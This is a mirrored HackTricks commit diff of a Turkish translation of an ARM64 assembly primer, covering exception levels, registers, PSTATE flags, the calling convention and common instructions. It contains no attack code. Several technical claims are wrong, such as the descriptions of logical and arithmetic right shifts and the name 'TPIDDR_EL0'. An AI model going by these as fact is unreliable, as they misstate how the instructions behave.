Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 12:43:23 +00:00
Code Issues Projects Releases Packages Wiki Activity

Translated ['macos-hardening/macos-security-and-privilege-escalation/mac

Browse source
This commit is contained in:
Translator 2024-03-26 20:26:06 +00:00
parent 64d74782c3
commit 96067a54a4
1 changed files with 247 additions and 168 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

415
macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
View file

@ -1,89 +1,109 @@
# ARM64v8 Giriş # ARM64v8'e Giriş
<details> <details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile</strong>!</summary> <summary><strong>Sıfırdan Kahramana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile</strong>!</summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünleri**]'ni alın (https://peass.creator-spring.com)
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) * [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**]'in koleksiyonu
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**. * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın. * **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek.
</details> </details>
## **İstisna Seviyeleri - EL (ARM64v8)** ## **İstisna Seviyeleri - EL (ARM64v8)**
ARMv8 mimarisinde, İstisna Seviyeleri (EL'ler) olarak bilinen yürütme seviyeleri, yürütme ortamının ayrıcalık seviyesini ve yeteneklerini tanımlar. EL0'dan EL3'e kadar dört istisna seviyesi bulunur ve her biri farklı bir amaç için kullanılır: ARMv8 mimarisinde, İstisna Seviyeleri (EL'ler) olarak bilinen yürütme seviyeleri, yürütme ortamının ayrıcalık seviyesini ve yeteneklerini tanımlar. EL0'dan EL3'e kadar dört istisna seviyesi bulunur ve her biri farklı bir amaca hizmet eder:
1. **EL0 - Kullanıcı Modu**: 1. **EL0 - Kullanıcı Modu**:
* Bu, en düşük ayrıcalıklı seviyedir ve düzenli uygulama kodunu yürütmek için kullanılır. * Bu en az ayrıcalıklı seviyedir ve düzenli uygulama kodlarının yürütülmesi için kullanılır.
* EL0'da çalışan uygulamalar, birbirlerinden ve sistem yazılımından izole edilir, böylece güvenlik ve kararlılık artırılır. * EL0'da çalışan uygulamalar birbirinden ve sistem yazılımından izole edilir, böylece güvenlik ve kararlılık artırılır.
2. **EL1 - İşletim Sistemi Çekirdek Modu**: 2. **EL1 - İşletim Sistemi Çekirdek Modu**:
* Çoğu işletim sistemi çekirdeği bu seviyede çalışır. * Çoğu işletim sistemi çekirdeği bu seviyede çalışır.
* EL1, EL0'dan daha fazla ayrıcalığa sahiptir ve sistem kaynaklarına erişebilir, ancak sistem bütünlüğünü sağlamak için bazı kısıtlamalar vardır. * EL1, EL0'dan daha fazla ayrıcalığa sahiptir ve sistem kaynaklarına erişebilir, ancak sistem bütünlüğünü sağlamak için bazı kısıtlamalar vardır.
3. **EL2 - Hipervizör Modu**: 3. **EL2 - Hipervizör Modu**:
* Bu seviye, sanallaştırma için kullanılır. EL2'de çalışan bir hipervizör, aynı fiziksel donanımda çalışan birden çok işletim sistemini (her biri kendi EL1'inde) yönetebilir. * Bu seviye sanallaştırma için kullanılır. EL2'de çalışan bir hipervizör, aynı fiziksel donanım üzerinde çalışan birden fazla işletim sistemini (her biri kendi EL1'inde) yönetebilir.
* EL2, sanal ortamların izolasyonu ve kontrolü için özellikler sağlar. * EL2, sanallaştırılmış ortamların izolasyonu ve kontrolü için özellikler sağlar.
4. **EL3 - Güvenli Monitör Modu**: 4. **EL3 - Güvenli Monitör Modu**:
* Bu, en ayrıcalıklı seviyedir ve genellikle güvenli önyükleme ve güvenilir yürütme ortamları için kullanılır. * Bu en ayrıcalıklı seviyedir ve genellikle güvenli önyükleme ve güvenilir yürütme ortamları için kullanılır.
* EL3, güvenli ve güvensiz durumlar arasındaki erişimleri yönetebilir ve kontrol edebilir (güvenli önyükleme, güvenilir işletim sistemi vb.). * EL3, güvenli ve güvensiz durumlar arasındaki erişimleri yönetebilir ve kontrol edebilir (güvenli önyükleme, güvenilir işletim sistemi vb.).
Bu seviyelerin kullanımı, sistemdeki farklı bileşenlerin yapılandırılmış ve güvenli bir şekilde yönetilmesine olanak sağlar. ARMv8'in ayrıcalık seviyelerine yaklaşımı, farklı sistem bileşenlerini etkili bir şekilde izole ederek sistem güvenliğini ve sağlamlığını artırır. Bu seviyelerin kullanımı, kullanıcı uygulamalarından en ayrıcalıklı sistem yazılımlarına kadar farklı sistem bileşenlerini yapılandırılmış ve güvenli bir şekilde yönetme olanağı sağlar. ARMv8'in ayrıcalık seviyelerine yaklaşımı, farklı sistem bileşenlerini etkili bir şekilde izole etmeye yardımcı olarak sistemin güvenliğini ve sağlamlığını artırır.
## **Kayıtlar (ARM64v8)** ## **Registerlar (ARM64v8)**
ARM64'ün **31 genel amaçlı kaydı** vardır ve `x0` ile `x30` olarak etiketlenmiştir. Her biri **64 bit** (8 bayt) bir değer depolayabilir. Yalnızca 32 bit değerler gerektiren işlemler için, aynı kayıtlara `w0` ile `w30` isimleri kullanılarak 32 bit modunda erişilebilir. ARM64'ün **31 genel amaçlı registerı** bulunur, `x0` ile `x30` arasında etiketlenmiştir. Her biri **64 bitlik** (8 bayt) bir değer saklayabilir. Yalnızca 32 bitlik değerler gerektiren işlemler için aynı registerlar, `w0` ile `w30` adları kullanılarak 32 bitlik modda erişilebilir.
1. **`x0`** ile **`x7`** - Bunlar genellikle geçici kayıtlar olarak kullanılır ve alt programlara parametre aktarmak için kullanılır. 1. **`x0`** ile **`x7`** - Genellikle geçici registerlar olarak ve alt programlara parametre geçirme amaçlı kullanılır.
* **`x0`**, bir işlevin dönüş verisini taşır. * **`x0`** ayrıca bir fonksiyonun dönüş verisini taşır.
2. **`x8`** - Linux çekirdeğinde, `x8` `svc` talimatı için sistem çağrı numarası olarak kullanılır. **macOS'ta ise x16 kullanılır!** 2. **`x8`** - Linux çekirdeğinde, `x8` `svc` komutu için sistem çağrısı numarası olarak kullanılır. **macOS'ta ise x16 kullanılır!**
3. **`x9`** ile **`x15`** - Daha fazla geçici kayıt, genellikle yerel değişkenler için kullanılır. 3. **`x9`** ile **`x15`** - Daha fazla geçici registerlar, genellikle yerel değişkenler için kullanılır.
4. **`x16`** ve **`x17`** - **İç-içe Çağrı Kayıtları**. Hemen değerler için geçici kayıtlar. Ayrıca dolaylı işlev çağrıları ve PLT (Procedure Linkage Table) destekleri için kullanılır. 4. **`x16`** ve **`x17`** - **İçsel-prosedürel Çağrı Registerları**. Hemen değerler için geçici registerlar. Ayrıca dolaylı fonksiyon çağrıları ve PLT (Procedure Linkage Table) kısayolları için kullanılır.
* **`x16`**, **macOS**'ta **`svc`** talimatı için **sistem çağrı numarası** olarak kullanılır. * **`x16`**, **macOS**'ta **`svc`** komutu için **sistem çağrısı numarası** olarak kullanılır.
5. **`x18`** - **Platform kaydı**. Genel amaçlı bir kayıt olarak kullanılabilir, ancak bazı platformlarda bu kayıt platforma özgü kullanımlar için ayrılmıştır: Windows'ta geçerli iş parçacığı ortam bloğuna işaretçi veya linux çekirdeğinde **yürütülen görev yapısına işaret etmek için**. 5. **`x18`** - **Platform registerı**. Genel amaçlı bir register olarak kullanılabilir, ancak bazı platformlarda bu register platforma özgü amaçlar için ayrılmıştır: Windows'ta mevcut iş parçacığı ortam bloğuna işaretçi veya linux çekirdeğinde **yürütülen görev yapısına işaret etmek için**.
6. **`x19`** ile **`x28`** - Bunlar çağrıyı bekleyen kaydedilen kayıtlardır. Bir işlev, çağıranı için bu kayıtların değerlerini korumalıdır, bu nedenle değerler yığında depolanır ve çağırana dönmeden önce kurtarılır. 6. **`x19`** ile **`x28`** - Bu, çağrıyı yapanın değerlerini koruması gereken çağrılan registerlardır, bu nedenle bunların değerleri yığında saklanır ve çağrıya geri dönmeden önce geri alınır.
7. **`x29`** - Yığın çerçevesini takip etmek için **çerçeve işaretçisi**. Bir işlev çağrıldığında yeni bir yığın çerçevesi oluşturulduğunda, **`x29`** kaydedilir ve yeni çerçeve işaretçi adresi (**`sp`** adresi) bu kayda kaydedilir. 7. **`x29`** - Yığın çerçevesini takip etmek için **çerçeve işaretçisi**. Bir işlev çağrıldığında yeni bir yığın çerçevesi oluşturulduğunda, **`x29`** registerı **yığında saklanır** ve **yeni** çerçeve işaretçi adresi (**`sp`** adresi) bu registerda saklanır.
* Bu kayıt genel amaçlı bir kayıt olarak da kullanılabilir, ancak genellikle yerel değişkenlere referans olarak kullanılır. * Bu register genel amaçlı bir register olarak da kullanılabilir, ancak genellikle **yerel değişkenlere referans** olarak kullanılır.
8. **`x30`** veya **`lr`**- **Bağlantı kaydedici**. Bir `BL` (Branch with Link) veya `BLR` (Register ile Bağlantı ile Şube) talimatı yürütüldüğünde dönüş adresini tutar ve **`pc`** değerini bu kayda kaydederek **`lr`** (Bağlantı Kaydedici) içinde saklar. 8. **`x30`** veya **`lr`**- **Bağlantı registerı**. Bir `BL` (Branch with Link) veya `BLR` (Register ile Bağlantılı Dal) komutu yürütüldüğünde **`pc`** değerini bu registerda saklayarak **dönüş adresini** tutar.
* Diğer kayıtlar gibi kullanılabilir. * Diğer registerlar gibi kullanılabilir.
9. **`sp`** - **Yığın işaretçisi**, yığının en üstünü takip etmek için kullanılır. 9. **`sp`** - **Yığın işaretçisi**, yığının en üstünü takip etmek için kullanılır.
* **`sp`** değeri her zaman en az bir **quadword** hizalamasında tutulmalıdır, aksi takdirde hizalama istisnası oluşabilir. * **`sp`** değeri her zaman en az bir **quadword hizalamasında** tutulmalıdır aksi takdirde bir hizalama istisnası oluşabilir.
10. **`pc`** - **Program sayacı**, bir sonraki talimata işaret eder. Bu kayıt yalnızca istisna oluşturma, istisna dönüşleri ve dallanmalar aracılığıyla güncellenebilir. Bu kaydı okuyabilen tek sıradan talimatlar, **`pc`** adresini **`lr`** (Bağlantı Kaydedici) içinde 10. **`pc`** - **Program sayacı**, bir sonraki komutu işaret eder. Bu register yalnızca istisna oluşturma, istisna dönüşleri ve dallanmalar aracılığıyla güncellenebilir. Bu registerı okuyabilen yalnızca bağlantılı dal komutları (BL, BLR) olup **`pc`** adresini **`lr`** (Bağlantı Registerı) içine saklamak için kullanılır.
11. **`xzr`** - **Sıfır registerı**. 32 bitlik register formunda **`wzr`** olarak da adlandırılır. Sıfır değerini kolayca almak için (sık kullanılan işlem) veya **`subs`** kullanarak karşılaştırmalar yapmak için kullanılabilir, örneğin **`subs XZR, Xn, #10`** gibi sonuç verileri hiçbir yere saklamadan (**`xzr`** içine) saklar.
**`Wn`** registerları, **`Xn`** registerının 32 bitlik versiyonudur.
### SIMD ve Kayan Nokta Registerları
Ayrıca, optimize edilmiş tek komutla çoklu veri (SIMD) işlemleri ve kayan nokta aritmetiği için kullanılabilen **32 adet 128 bit uzunluğunda register** bulunur. Bunlar Vn registerları olarak adlandırılır, ancak aynı zamanda **64**-bitlik, **32**-bitlik, **16**-bitlik ve **8**-bitlik olarak da çalışabilir ve o zaman **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** ve **`Bn`** olarak adlandırılır.
### Sistem Registerları
**Yüzlerce sistem registerı**, ayrıca özel amaçlı registerlar (SPR'ler) olarak adlandırılır ve **işlemcilerin davranışını izlemek** ve **kontrol etmek** için kullanılır.\
Bu registerlar yalnızca özel **`mrs`** ve **`msr`** komutları kullanılarak okunabilir veya ayarlanabilir.
Özel registerlar arasında **`TPIDR_EL0`** ve **`TPIDDR_EL0`** sıkça karşılaşılır. `EL0` eki, registerın hangi istisna seviyesinden erişilebileceğini belirtir (bu durumda EL0, normal programların çalıştığı ayrıcalık seviyesidir).\
Genellikle bunlar bellek bölgesinin **iş parçacığı yerel depolama alanının temel adresini saklamak** için kullanılır. Genellikle birincisi EL0'da çalışan programlar için okunabilir ve yazılabilirken, ikincisi EL0'dan okunabilir ve EL1'den yazılabilir (örneğin çekirdek).
* `mrs x0, TPIDR_EL0 ; TPIDR_EL0 değerini x0'a oku`
* `msr TPIDR_EL0, X0 ; x0 değerini TPIDR_EL0'a yaz`
### **PSTATE** ### **PSTATE**
**PSTATE**, işletim sistemi tarafından görülebilen **`SPSR_ELx`** özel kaydediciye seri hâlinde kodlanmış birkaç işlem bileşenini içerir. Burada X, tetiklenen istisna için **izin seviyesini** belirtir (bu, istisna sona erdiğinde işlem durumunun geri alınmasını sağlar). Erişilebilir alanlar şunlardır: **PSTATE**, işlem sona erdiğinde işlem durumunu kurtarmak için X'in **tetiklenen** istisna **izin** **seviyesi olan** **`SPSR_ELx`** özel kaydediciye seri hale getirilmiş birkaç işlem bileşenini içerir.\
Erişilebilir alanlar şunlardır:
<figure><img src="../../../.gitbook/assets/image (724).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (724).png" alt=""><figcaption></figcaption></figure>
* **`N`**, **`Z`**, **`C`** ve **`V`** koşul bayrakları: * **`N`**, **`Z`**, **`C`** ve **`V`** durum bayrakları:
* **`N`**, işlemin negatif bir sonuç verdiğini gösterir. * **`N`**, işlemin negatif bir sonuç verdiğini gösterir
* **`Z`**, işlemin sıfır verdiğini gösterir. * **`Z`**, işlemin sıfır verdiğini gösterir
* **`C`**, işlemin taşıdığını gösterir. * **`C`**, işlemin taşıdığını gösterir
* **`V`**, işlemin imzalı bir taşma verdiğini gösterir: * **`V`**, işlemin işaretli bir taşma verdiğini gösterir:
* İki pozitif sayının toplamı negatif bir sonuç verir. * İki pozitif sayının toplamı negatif bir sonuç verir.
* İki negatif sayının toplamı pozitif bir sonuç verir. * İki negatif sayının toplamı pozitif bir sonuç verir.
* Çıkarma işleminde, verilen bit boyutu aralığının içine sığdırılamayan büyük bir negatif sayı küçük bir pozitif sayıdan (veya tam tersi) çıkarıldığında. * Çıkarma işleminde, büyük bir negatif sayının küçük bir pozitif sayıdan çıkarılması (veya tersi) ve sonuç verilen bit boyutu aralığında temsil edilemiyorsa.
* Açıkçası işlemcinin işlemin işaretli olup olmadığını bilmediği için, işlemlerde C ve V'yi kontrol edecek ve taşıma işaret edecek, işaretli veya işaretsiz olup olmadığına bağlı olarak.
{% hint style="warning" %} {% hint style="warning" %}
Tüm talimatlar bu bayrakları güncellemez. **`CMP`** veya **`TST`** gibi bazı talimatlar bunu yapar ve **`ADDS`** gibi bir s takısına sahip olan diğer talimatlar da yapar. Tüm talimatlar bu bayrakları güncellemez. **`CMP`** veya **`TST`** gibi bazıları yapar, ve **`ADDS`** gibi s takısına sahip olanlar da yapar.
{% endhint %} {% endhint %}
* Geçerli **kayıt genişliği (`nRW`) bayrağı**: Bayrak 0 değerini tutarsa, program yeniden başlatıldığında AArch64 yürütme durumunda çalışacaktır. * Mevcut **kayıt genişliği (`nRW`) bayrağı**: Bayrağın değeri 0 ise, program AArch64 yürütme durumunda çalışacaktır.
* Geçerli **İstisna Seviyesi** (**`EL`**): EL0'da çalışan bir normal programın değeri 0 olacaktır. * Mevcut **İstisna Seviyesi** (**`EL`**): EL0'da çalışan düzenli bir programın değeri 0 olacaktır
* **Tek adımlama** bayrağı (**`SS`**): Hata ayıklama araçları tarafından tek adımlama yapmak için SS bayrağını **`SPSR_ELx`** içinde 1 olarak ayarlamak için kullanılır. Program bir adım çalışacak ve tek adım istisnası oluşturacaktır. * **Tek adımlama** bayrağı (**`SS`**): Hata ayıklama araçları tarafından tek adımlamak için kullanılır, SS bayrağını **`SPSR_ELx`** içinde 1 olarak ayarlayarak bir istisna oluşturur. Program bir adım çalışacak ve tek adım istisnası oluşturacaktır.
* **Yasadışı istisna** durumu bayrağı (**`IL`**): Ayrıcalıklı bir yazılımın geçersiz bir istisna seviyesi aktarımı gerçekleştirdiğinde işaretlemek için kullanılır, bu bayrak 1 olarak ayarlanır ve işlemci yasadışı bir durum istisnası oluşturur. * **Yasadışı istisna** durumu bayrağı (**`IL`**): Ayrıcalıklı bir yazılımın geçersiz bir istisna seviyesi transferi gerçekleştirdiğinde işaretlenir, bu bayrak 1 olarak ayarlanır ve işlemci yasadışı bir durum istisnası oluşturur.
* **`DAIF`** bayrakları: Bu bayraklar, ayrıcalıklı bir programın belirli harici istisnaları seçici olarak maskelemesine izin verir. * **`DAIF`** bayrakları: Bu bayraklar ayrıcalıklı bir programın belirli harici istisnaları seçmeli olarak maskelemesine izin verir.
* **A** 1 ise, **asenkron hatalar** tetiklenecektir. **`I`**, harici donanım **Kesme İsteklerine** (IRQ'ler) yanıt vermek için yapılandırılır. ve F, **Hızlı Kesme İstekleri** (FIR'lar) ile ilgilidir. * Eğer **`A`** 1 ise **asenkron hatalar** tetikleneceği anlamına gelir. **`I`** harici donanım **Kesme İsteklerine** (IRQ'ler) yanıt vermek için yapılandırılır ve F **Hızlı Kesme İstekleri** (FIR'ler) ile ilgilidir.
* **Yığın işaretçisi seçimi** bayrakları (**`SPS`**): EL1 ve üzerinde çalışan ayrıcalıklı programlar, kendi yığın işaretçi kaydedicilerini ve kullanıcı modelini (örneğin `SP_EL1` ve `EL0` arasında) değiş tokuş yapabilir. Bu değiş tokuş, **`SPSel`** özel kaydediciye yazılarak gerçekleştirilir. Bu EL0'dan yapılamaz. * **Yığın işaretçisi seç** bayrakları (**`SPS`**): EL1 ve üstünde çalışan ayrıcalıklı programlar, kendi yığın işaretçi kayıtlarını ve kullanıcı modelini (örneğin `SP_EL1` ve `EL0` arasında) değiş tokuş yapabilir. Bu değişim, **`SPSel`** özel kaydediciye yazılarak gerçekleştirilir. Bu EL0'dan yapılamaz.
## **Çağrı Sözleşmesi (ARM64v8)** ## **Çağrı Sözleşmesi (ARM64v8)**
ARM64 çağrı sözleşmesi, bir işlevin **ilk sekiz parametresinin** **`x0`** ile **`x7`** kaydedicilerinde geçirildiğini belirtir. **Ek** parametreler **yığın** üzerinde geçirilir. **Dönüş** değeri, sonuç **`x0`** kaydedicide veya **128 bit uzunluğunda** ise ayrıca **`x1`** kaydedicide geçirilir. **`x19`** ile **`x30`** ve **`sp`** kaydedicileri, işlev çağrıları arasında **korunmalıdır**. ARM64 çağrı sözleşmesi, bir işlevin **ilk sekiz parametresinin** **`x0` ile `x7`** kaydedicilerinde geçirildiğini belirtir. **Ek** parametreler **yığın** üzerinde geçirilir. **Dönüş** değeri, **`x0`** kaydedicisinde geri döndürülür, veya **128 bit uzunluğunda ise** ayrıca **`x1`**'de de. **`x19`** ile **`x30`** ve **`sp`** kaydedicileri işlev çağrıları arasında **korunmalıdır**.
Bir işlevi derleme dilinde okurken, **işlev giriş ve çıkış** kısımlarını arayın. **Giriş** genellikle **çerçeve işaretçisini (`x29`) kaydetmeyi**, yeni bir çerçeve işaretçisi **kurmayı** ve **yığın alanı tahsis etmeyi** içerir. **Çıkış** genellikle **kaydedilen çerçeve işaretçisini geri yüklemeyi** ve işlevden **dönmeyi** içerir. Bir işlevi montajda okurken, **işlev prologu ve epilogu**nu arayın. **Prolog** genellikle **çerçeve işaretçisini (`x29`)** **kaydetmeyi**, yeni bir **çerçeve işaretçisi** kurmayı ve bir **yığın alanı tahsis etmeyi** içerir. **Epilog** genellikle **kaydedilen çerçeve işaretçisini geri yüklemeyi** ve işlevden **dönmeyi** içerir.
### Swift'te Çağrı Sözleşmesi ### Swift'te Çağrı Sözleşmesi
@ -91,101 +111,163 @@ Swift'in kendi **çağrı sözleşmesi** [**https://github.com/apple/swift/blob/
## **Ortak Talimatlar (ARM64v8)** ## **Ortak Talimatlar (ARM64v8)**
ARM64 talimatları genellikle **`opcode hedef, kaynak1, kaynak2`** formatına sahiptir, burada **`opcode`**, yapılacak işlemi (**add**, **sub**, **mov**, vb.) belirtir, **`hedef`**, sonucun depolanacağı **hedef** kaydediciyi, **`kaynak1`** ve **`kaynak2`** ise **kaynak** kaydedicileri belirtir. Kaynak kaydedicilerinin yerine anlık değerler de kullanılabilir. ARM64 talimatlarının genellikle **`opcode hedef, kaynak1, kaynak2`** formatında olduğu, **`opcode`**'un yapılacak işlemi belirttiği (örneğin `add`, `sub`, `mov`, vb.), **`hedef`**'in sonucun depolanacağı **hedef** kaydedici olduğu ve **`kaynak1`** ve **`kaynak2`**'nin **kaynak** kaydediciler olduğu belirtilmelidir. Hemen kaynak kaydedicilerinin yerine anlık değerler de kullanılabilir.
* **`mov`**: Bir değeri bir **kaydediciden** başka bir kaydediciye **taşır**. * **`mov`**: Bir değeri bir **kaydediciden** diğerine **taşır**.
* Örnek: `mov x0, x1` — Bu, `x1` kaydedicisindeki değeri `x0` kaydedicisine taşır. * Örnek: `mov x0, x1` — Bu, `x1`'den `x0`'a değeri taşır.
* **`ldr`**: Bellekten bir değeri bir **kaydediciye yükler**. * **`ldr`**: Bir değeri **bellekten** bir **kaydediciye yükler**.
* Örnek: `ldr x0, [x1]` — Bu, `x1` tarafından işaret edilen bellek konumundaki değeri `x0` kaydedicisine yükler. * Örnek: `ldr x0, [x1]` — Bu, `x1` tarafından işaret edilen bellek konumundan `x0`'a bir değer yükler.
* **`str`**: Bir değeri bir **kaydediciden belleğe kaydeder**. * **Ofset modu**: Orin işaretçisini etkileyen bir ofset belirtilir, örneğin:
* Örnek: `str x0, [x1]` — Bu, `x0` kaydedicisindeki değeri `x1` tarafından işaret edilen bellek konumuna kaydeder. * `ldr x2, [x1, #8]`, bu x1 + 8'den x2'ye değeri yükleyecektir
* **`ldp`**: **Çift Kaydedici Yükleme**. Bu talimat, **ardışık bellek** konumlarından **iki kaydediciyi** yükler. Bellek adresi genellikle başka bir kaydedicinin değerine bir ofset eklenerek oluşturulur. * &#x20;`ldr x2, [x0, x1, lsl #2]`, bu x0 dizisinden x1 (endeks) \* 4 pozisyondaki nesneyi x2'ye yükleyecektir
* Örnek: `ldp x0, x1, [x2]` — Bu, sırasıyla `x2` ve `x2 + 8` bellek konumlarındaki değerleri `x0` ve `x1` kaydedicilerine yükler. * **Ön-indeks modu**: Bu, hesaplamaları orijine uygular, sonucu alır ve ayrıca yeni orijini orijine kaydeder.
* **`stp`**: **Çift Kaydedici Kaydetme**. Bu talimat, **ardışık bellek** konumlarına **iki kaydediciyi** kaydeder. Bellek adresi genellikle başka bir kaydedicinin değerine bir ofset eklenerek * `ldr x2, [x1, #8]!`, bu `x1 + 8`'i `x2`'ye yükler ve `x1`'e `x1 + 8`'in sonucunu kaydeder
* **`bfm`**: **Bit Filed Move**, bu işlemler bir değerden belirli bitleri kopyalar ve bunları başka bir konuma yerleştirir. **`#s`**, en sol bit konumunu belirtir ve **`#r`**, sağa döndürme miktarını belirtir. * `str lr, [sp, #-4]!`, Bağlantı kaydedicisini sp'ye kaydeder ve kaydedici sp'yi günceller
* Bitfield move: `BFM Xd, Xn, #r` * **Sonrası-indeks modu**: Bu bir öncekine benzer ancak bellek adresine erişilir ve ardından ofset hesaplanır ve kaydedilir.
* İşaretli Bitfield move: `SBFM Xd, Xn, #r, #s` * `ldr x0, [x1], #8`, `x1`'i `x0`'a yükler ve x1'i `x1 + 8` ile günceller
* İşaretsiz Bitfield move: `UBFM Xd, Xn, #r, #s` * **PC'ye göre adresleme**: Bu durumda yüklenecek adres, PC kaydediciye göre hesaplanır
* **Bitfield Extract and Insert:** Bir kayıttan bir bit alanını kopyalar ve başka bir kayda kopyalar. * `ldr x1, =_start`, Bu, `_start` sembolünün başladığı adresi x1'e yükleyecektir, mevcut PC'ye göre ilişkilendirilmiş.
* **`BFI X1, X2, #3, #4`** X2'nin 3. bitinden itibaren 4 biti X1'e ekler * **`str`**: Bir değeri bir **kaydediciden** **belleğe** **kaydeder**.
* Örnek: `str x0, [x1]` — Bu, `x0`'daki değeri `x1` tarafından işaret edilen bellek konumuna kaydeder.
* **`ldp`**: **Çift Kaydedici Yükle**. Bu talimat, **ardışık bellek** konumlarından **iki kaydediciyi** yükler. Bellek adresi genellikle başka bir kaydedicideki değere bir ofset ekleyerek oluşturulur.
* Örnek: `ldp x0, x1, [x2]` — Bu, sırasıyla `x2` ve `x2 + 8` bellek konumlarından `x0` ve `x1`'i yükler.
* **`stp`**: **Çift Kaydedici Sakla**. Bu talimat, **ardışık bellek** konumlarına **iki kaydediciyi** saklar. Bellek adresi genellikle başka bir kaydedicideki değere bir ofset ekleyerek oluşturulur.
* Örnek: `stp x0, x1, [sp]` — Bu, sırasıyla `sp` ve `sp + 8` bellek konumlarına `x0` ve `x1`'i saklar.
* `stp x0, x1, [sp, #16]!` — Bu, sırasıyla `sp+16` ve `sp + 24` bellek konumlarına `x0` ve `x1`'i saklar ve `sp`'yi `sp+16` ile günceller.
* **`add`**: İki kaydedicinin değerlerini ekler ve sonucu bir kaydedicide saklar.
* Sözdizimi: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX]
* Xn1 -> Hedef
* Xn2 -> Operand 1
* Xn3 | #imm -> Operand 2 (kaydedici veya anlık)
* \[shift #N | RRX] -> Bir kaydırma yap veya RRX'i çağır
* Örnek: `add x0, x1, x2` — Bu, `x1` ve `x2`'deki değerleri ekler ve sonucu `x0`'da saklar.
* `add x5, x5, #1, lsl #12` — Bu, 4096'ya eşittir (1, 12 kez kaydırıldığında) -> 1 0000 0000 0000 0000
* **`adds`** Bu bir `add` işlemi gerçekleştirir ve bayrakları günceller
* **`sub`**: İki kaydedicinin değerlerini çıkarır ve sonucu bir kaydedicide saklar.
* **`add`** **sözdizimine** bakın.
* Örnek: `sub x0, x1, x2` — Bu, `x2` içindeki değeri `x1`'den çıkarır ve sonucu `x0`'a kaydeder.
* **`subs`** Bu, sub'a benzer ancak bayrağı günceller
* **`mul`**: İki kaydın değerlerini çarpar ve sonucu bir kayda kaydeder.
* Örnek: `mul x0, x1, x2` — Bu, `x1` ve `x2` içindeki değerleri çarpar ve sonucu `x0`'a kaydeder.
* **`div`**: Bir kaydın değerini başka bir kayda bölerek sonucu bir kayda kaydeder.
* Örnek: `div x0, x1, x2` — Bu, `x1` içindeki değeri `x2`'ye böler ve sonucu `x0`'a kaydeder.
* **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**:
* **Mantıksal sola kaydırma**: Diğer bitleri ileri taşıyarak sona 0'lar ekler (n kez 2 ile çarpar)
* **Mantıksal sağa kaydırma**: Diğer bitleri geri taşıyarak başa 1'ler ekler (işaretsiz bölmede n kez 2'ye böler)
* **Aritmetik sağa kaydırma**: **`lsr`** gibi, ancak en anlamlı bit 1 ise 0'lar ekler (işaretli bölmede n kez 2'ye böler)
* **Sağa döndürme**: **`lsr`** gibi, ancak sağdan kaldırılan bitler sola eklenir
* **Uzatma ile Sağa Döndürme**: **`ror`** gibi, ancak taşıma bayrağı "en anlamlı bit" olarak kullanılır. Taşıma bayrağı 31. bite ve kaldırılan bit taşıma bayrağına taşınır.
* **`bfm`**: **Bit Alanı Taşıma**, bu işlemler bir değerden bitleri `0...n` kopyalar ve bunları `m..m+n` konumlarına yerleştirir. **`#s`** en soldaki bit konumunu belirtir ve **`#r`** sağa döndürme miktarını belirtir.
* Bit alanı taşıma: `BFM Xd, Xn, #r`
* İşaretli Bit alanı taşıma: `SBFM Xd, Xn, #r, #s`
* İşaretsiz Bit alanı taşıma: `UBFM Xd, Xn, #r, #s`
* **Bit Alanı Çıkartma ve Ekleme:** Bir kayıttan bir bit alanını kopyalar ve başka bir kayda yapıştırır.
* **`BFI X1, X2, #3, #4`** X2'den X1'in 3. bitine 4 bit ekler
* **`BFXIL X1, X2, #3, #4`** X2'nin 3. bitinden başlayarak dört biti çıkarır ve bunları X1'e kopyalar * **`BFXIL X1, X2, #3, #4`** X2'nin 3. bitinden başlayarak dört biti çıkarır ve bunları X1'e kopyalar
* **`SBFIZ X1, X2, #3, #4`** X2'den 4 biti işaretler ve bunları X1'e 3. bit konumundan başlayarak yerleştirir, sağdaki bitleri sıfırlar * **`SBFIZ X1, X2, #3, #4`** X2'den 4 biti işaretler ve 3. bit pozisyonundan başlayarak X1'e yerleştirirken sağdaki bitleri sıfırlar
